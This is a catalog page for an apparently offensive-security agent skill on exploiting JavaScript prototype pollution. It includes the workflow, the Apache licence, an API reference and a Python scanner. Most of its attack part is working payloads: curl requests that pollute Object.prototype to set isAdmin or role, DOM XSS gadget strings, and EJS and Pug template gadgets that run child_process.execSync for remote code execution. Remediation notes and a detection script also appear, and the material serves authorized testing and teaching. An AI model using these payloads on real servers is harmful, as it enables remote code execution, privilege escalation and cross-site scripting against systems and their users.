
Exploiting Prototype Pollution In Javascript
- 151 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with ai & agent building tasks.
About
exploiting-prototype-pollution-in-javascript is a Claude Code skill in the AI & Agent Building category.
- exploiting-prototype-pollution-in-javascript
- AI & Agent Building
- AI-coding skill
Exploiting Prototype Pollution In Javascript by the numbers
- 151 all-time installs (skills.sh)
- +10 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #3,370 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-prototype-pollution-in-javascriptAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 151 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with ai & agent building tasks.
Files
Exploiting Prototype Pollution in JavaScript
When to Use
- When testing Node.js or JavaScript-heavy web applications
- During assessment of APIs accepting deep-merged JSON objects
- When testing client-side JavaScript frameworks for DOM XSS via prototype pollution
- During code review of object merge/clone/extend operations
- When evaluating npm packages for prototype pollution gadgets
Prerequisites
- Burp Suite with DOM Invader extension for client-side prototype pollution detection
- Node.js development environment for server-side testing
- Understanding of JavaScript prototype chain and object inheritance
- Knowledge of common pollution gadgets (sources, sinks, and exploitable properties)
- Prototype Pollution Gadgets Scanner Burp extension for server-side detection
- Browser developer console for client-side prototype manipulation
Legal Notice: This skill is for authorized security testing and educational purposes only. Unauthorized use against systems you do not own or have written permission to test is illegal and may violate computer fraud laws.
Workflow
Step 1 — Identify Prototype Pollution Sources
// Client-side: Test URL-based sources
// Navigate to: http://target.com/page?__proto__[polluted]=true
// Or use constructor: http://target.com/page?constructor[prototype][polluted]=true
// Check in browser console:
console.log(({}).polluted); // If returns "true", pollution confirmed
// Common URL-based pollution vectors:
// ?__proto__[key]=value
// ?__proto__.key=value
// ?constructor[prototype][key]=value
// ?constructor.prototype.key=value
// Hash fragment pollution:
// http://target.com/#__proto__[key]=valueStep 2 — Test Server-Side Prototype Pollution
# Test via JSON body with __proto__
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true}}'
# Test via constructor.prototype
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"constructor": {"prototype": {"isAdmin": true}}}'
# Test for status code reflection (detection technique)
# Pollute status property to detect server-side pollution
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"status": 510}}'
# If response returns 510, server-side pollution confirmed
# JSON content type pollution
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "/proc/self/exe", "NODE_OPTIONS": "--require /proc/self/environ"}}'Step 3 — Exploit Client-Side for DOM XSS
// Step 1: Find pollution source (URL parameter, JSON input, postMessage)
// Step 2: Find a gadget - a property read from prototype that reaches a sink
// Common gadgets for DOM XSS:
// innerHTML gadget:
// ?__proto__[innerHTML]=<img/src/onerror=alert(1)>
// jQuery $.html() gadget:
// ?__proto__[html]=<img/src/onerror=alert(1)>
// transport URL gadget (common in analytics scripts):
// ?__proto__[transport_url]=data:,alert(1)//
// Sanitizer bypass via prototype pollution:
// ?__proto__[allowedTags]=<script>
// ?__proto__[tagName]=IMG
// Use DOM Invader (Burp Suite built-in):
// 1. Enable DOM Invader in Burp's embedded browser
// 2. Enable Prototype Pollution option
// 3. Browse application - DOM Invader auto-detects sources
// 4. Click "Scan for gadgets" to find exploitable sinksStep 4 — Exploit Server-Side for RCE
# Node.js child_process gadget (RCE)
# If application calls child_process.execSync(), spawn(), or fork():
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"shell": "node", "NODE_OPTIONS": "--require /proc/self/cmdline"}}'
# EJS template engine gadget
curl -X POST http://target.com/api/update \
-H "Content-Type: application/json" \
-d '{"__proto__": {"client": true, "escapeFunction": "JSON.stringify; process.mainModule.require(\"child_process\").execSync(\"id\")"}}'
# Handlebars template gadget
curl -X POST http://target.com/api/merge \
-H "Content-Type: application/json" \
-d '{"__proto__": {"allowProtoMethodsByDefault": true, "allowProtoPropertiesByDefault": true}}'
# Pug template engine gadget
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require(\"child_process\").execSync(\"id\")"}}}'Step 5 — Exploit for Authentication and Authorization Bypass
# Pollute isAdmin or role property
curl -X POST http://target.com/api/profile \
-H "Content-Type: application/json" \
-d '{"__proto__": {"isAdmin": true, "role": "admin"}}'
# Pollute auth-related properties
curl -X POST http://target.com/api/settings \
-H "Content-Type: application/json" \
-d '{"__proto__": {"verified": true, "emailVerified": true}}'
# Bypass JSON schema validation
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"additionalProperties": true}}'Step 6 — Detect with Automated Tools
# Use ppfuzz for automated detection
ppfuzz -l urls.txt -o results.txt
# Nuclei templates for prototype pollution
echo "http://target.com" | nuclei -t http/vulnerabilities/generic/prototype-pollution.yaml
# Server-side detection with Burp Scanner
# Enable "Server-side prototype pollution" scan check
# Review issues in Burp Dashboard
# Manual detection via timing/error-based techniques
# Pollute a property that causes detectable server behavior change
curl -X POST http://target.com/api/data \
-H "Content-Type: application/json" \
-d '{"__proto__": {"toString": "polluted"}}'
# If server errors (500), pollution is workingKey Concepts
| Concept | Description |
|---|---|
| Prototype Chain | JavaScript inheritance mechanism where objects inherit from Object.prototype |
| __proto__ | Accessor property that exposes the prototype of an object |
| Pollution Source | Input point that allows setting properties on Object.prototype |
| Pollution Sink | Code that reads a polluted property and performs a dangerous operation |
| Gadget | A property that flows from prototype to a dangerous sink (source-to-sink chain) |
| Deep Merge | Recursive object merge functions that may process __proto__ as a regular key |
| constructor.prototype | Alternative path to access and pollute the prototype object |
Tools & Systems
| Tool | Purpose |
|---|---|
| DOM Invader | Burp Suite built-in tool for detecting client-side prototype pollution |
| Prototype Pollution Gadgets Scanner | Burp extension for server-side gadget detection |
| ppfuzz | Automated prototype pollution fuzzer |
| Nuclei | Template-based scanner with prototype pollution templates |
| server-side-prototype-pollution | Burp Scanner check for server-side detection |
| ESLint security plugin | Static analysis for prototype pollution patterns in code |
Common Scenarios
1. DOM XSS via Analytics — Pollute transport_url property to inject JavaScript through analytics tracking scripts that read URL from prototype 2. RCE via Template Engine — Exploit EJS/Pug/Handlebars gadgets to execute arbitrary commands through polluted template rendering properties 3. Admin Privilege Escalation — Pollute isAdmin or role properties to bypass authorization checks in Node.js applications 4. JSON Schema Bypass — Pollute schema validation properties to bypass input validation and inject malicious data 5. Denial of Service — Pollute toString or valueOf to crash the application when objects are coerced to primitives
Output Format
## Prototype Pollution Assessment Report
- **Target**: http://target.com
- **Type**: Server-Side Prototype Pollution
- **Impact**: Remote Code Execution via EJS template gadget
### Findings
| # | Source | Gadget | Sink | Impact |
|---|--------|--------|------|--------|
| 1 | POST /api/merge __proto__ | EJS escapeFunction | Template render | RCE |
| 2 | POST /api/profile __proto__ | isAdmin property | Auth middleware | Privilege Escalation |
| 3 | URL ?__proto__[innerHTML] | innerHTML property | DOM write | Client-Side XSS |
### Remediation
- Use Object.create(null) for configuration objects instead of {}
- Freeze Object.prototype with Object.freeze(Object.prototype)
- Sanitize __proto__ and constructor keys in user input
- Use Map instead of plain objects for user-controlled data
- Update vulnerable npm packages (lodash, merge-deep, etc.)
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: Prototype Pollution in JavaScript
What is Prototype Pollution?
Attacker modifies Object.prototype through unsafe object merge operations, causing all JavaScript objects to inherit attacker-controlled properties.
Attack Vectors
JSON Body
{"__proto__": {"isAdmin": true}}
{"constructor": {"prototype": {"isAdmin": true}}}Query Parameters
?__proto__[isAdmin]=true
?constructor[prototype][isAdmin]=trueURL Path
/api/merge?__proto__.polluted=trueVulnerable Functions
| Library | Function | Risk |
|---|---|---|
| Native | Object.assign() | Medium (shallow only) |
| lodash | _.merge() | HIGH |
| lodash | _.defaultsDeep() | HIGH |
| jQuery | $.extend(true, ...) | HIGH |
| hoek | Hoek.merge() | HIGH |
| node-forge | Various | HIGH |
Exploitation Impact
Privilege Escalation
// Server checks: if (user.isAdmin) { ... }
// After pollution: Object.prototype.isAdmin = true
// All objects now have isAdmin = trueRCE via Template Engines
{"__proto__": {"block": {"type": "Text", "line": "process.mainModule.require('child_process').execSync('id')"}}}Denial of Service
{"__proto__": {"toString": null}}Source Code Detection Patterns
Dangerous Sinks
// lodash merge
_.merge(target, userInput)
// Recursive assign
function merge(target, source) {
for (let key in source) {
target[key] = source[key] // No __proto__ check!
}
}Safe Alternatives
// Object.create(null) — no prototype
const obj = Object.create(null)
// Filter __proto__
if (key === '__proto__' || key === 'constructor') continue;
// Object.freeze(Object.prototype)
Object.freeze(Object.prototype) // Prevent modificationTesting with pp-finder
# Scan npm package for prototype pollution
npx pp-finder /path/to/node_modules/packageBurp Suite Extension — Server-Side Prototype Pollution
Detection
1. Send {"__proto__": {"status": 510}} in JSON body 2. If response status changes to 510, server is vulnerable 3. Send {"__proto__": {"json spaces": 10}} — response indentation changes
Remediation
1. Use Map instead of plain objects for user data 2. Freeze Object.prototype 3. Validate/sanitize keys: reject __proto__, constructor, prototype 4. Use Object.create(null) for merge targets 5. Update vulnerable libraries (lodash >= 4.17.12)
#!/usr/bin/env python3
"""Agent for detecting prototype pollution vulnerabilities in JavaScript applications."""
import argparse
import json
import re
from datetime import datetime, timezone
try:
import requests
HAS_REQUESTS = True
except ImportError:
HAS_REQUESTS = False
PROTOTYPE_PAYLOADS = [
{"__proto__": {"isAdmin": True}},
{"__proto__": {"role": "admin"}},
{"constructor": {"prototype": {"isAdmin": True}}},
{"__proto__": {"status": 200}},
{"__proto__": {"polluted": True}},
]
PROTOTYPE_PAYLOADS_QUERY = [
"__proto__[isAdmin]=true",
"__proto__[role]=admin",
"constructor[prototype][isAdmin]=true",
"__proto__.isAdmin=true",
]
def test_json_pollution(url, token=None):
"""Test for prototype pollution via JSON body."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
headers["Content-Type"] = "application/json"
for payload in PROTOTYPE_PAYLOADS:
try:
resp = requests.post(url, json=payload, headers=headers, timeout=10, verify=False)
resp_text = resp.text.lower()
indicators = []
if "isadmin" in resp_text and "true" in resp_text:
indicators.append("isAdmin property reflected in response")
if resp.status_code == 200:
try:
resp_json = resp.json()
if resp_json.get("isAdmin") or resp_json.get("polluted"):
indicators.append("Prototype property present in response object")
except json.JSONDecodeError:
pass
if "500" in str(resp.status_code):
indicators.append("Server error — potential prototype chain disruption")
if indicators:
findings.append({
"payload": str(payload),
"status_code": resp.status_code,
"indicators": indicators,
"severity": "CRITICAL",
})
except requests.RequestException:
continue
return findings
def test_query_pollution(url, token=None):
"""Test for prototype pollution via query parameters."""
if not HAS_REQUESTS:
return []
findings = []
headers = {"Authorization": f"Bearer {token}"} if token else {}
for payload in PROTOTYPE_PAYLOADS_QUERY:
try:
test_url = f"{url}?{payload}"
resp = requests.get(test_url, headers=headers, timeout=10, verify=False)
if resp.status_code == 500:
findings.append({
"payload": payload, "method": "GET",
"status_code": 500,
"indicators": ["Server error from prototype pollution"],
"severity": "HIGH",
})
except requests.RequestException:
continue
return findings
def scan_source_code(file_path):
"""Scan JavaScript source for prototype pollution sinks."""
findings = []
vulnerable_patterns = [
(r'Object\.assign\s*\([^)]*,\s*\w+\)', "Object.assign with user input"),
(r'_\.merge\s*\(', "lodash merge (deep merge)"),
(r'_\.defaultsDeep\s*\(', "lodash defaultsDeep"),
(r'jQuery\.extend\s*\(\s*true', "jQuery deep extend"),
(r'\$\.extend\s*\(\s*true', "jQuery deep extend"),
(r'JSON\.parse\s*\([^)]*\)', "JSON.parse (check input source)"),
(r'\.prototype\[', "Direct prototype access"),
(r'\[(["\'])__proto__\1\]', "__proto__ string access"),
]
try:
with open(file_path, "r", errors="replace") as f:
content = f.read()
for i, line in enumerate(content.splitlines(), 1):
for pattern, desc in vulnerable_patterns:
if re.search(pattern, line):
findings.append({
"file": file_path, "line": i,
"pattern": desc, "code": line.strip()[:100],
})
except FileNotFoundError:
pass
return findings
def main():
parser = argparse.ArgumentParser(
description="Detect prototype pollution in JavaScript apps (authorized testing only)"
)
parser.add_argument("--url", help="Target URL to test")
parser.add_argument("--source", help="JavaScript source file to audit")
parser.add_argument("--token", help="Bearer token")
parser.add_argument("--output", "-o", help="Output JSON report")
args = parser.parse_args()
print("[*] Prototype Pollution Detection Agent")
report = {"timestamp": datetime.now(timezone.utc).isoformat(), "findings": []}
if args.url:
json_findings = test_json_pollution(args.url, args.token)
query_findings = test_query_pollution(args.url, args.token)
report["findings"].extend(json_findings)
report["findings"].extend(query_findings)
print(f"[*] HTTP findings: {len(json_findings) + len(query_findings)}")
if args.source:
src_findings = scan_source_code(args.source)
report["findings"].extend(src_findings)
print(f"[*] Source code findings: {len(src_findings)}")
report["risk_level"] = "CRITICAL" if any(
f.get("severity") == "CRITICAL" for f in report["findings"]
) else "HIGH" if report["findings"] else "LOW"
if args.output:
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
print(f"[*] Report saved to {args.output}")
else:
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()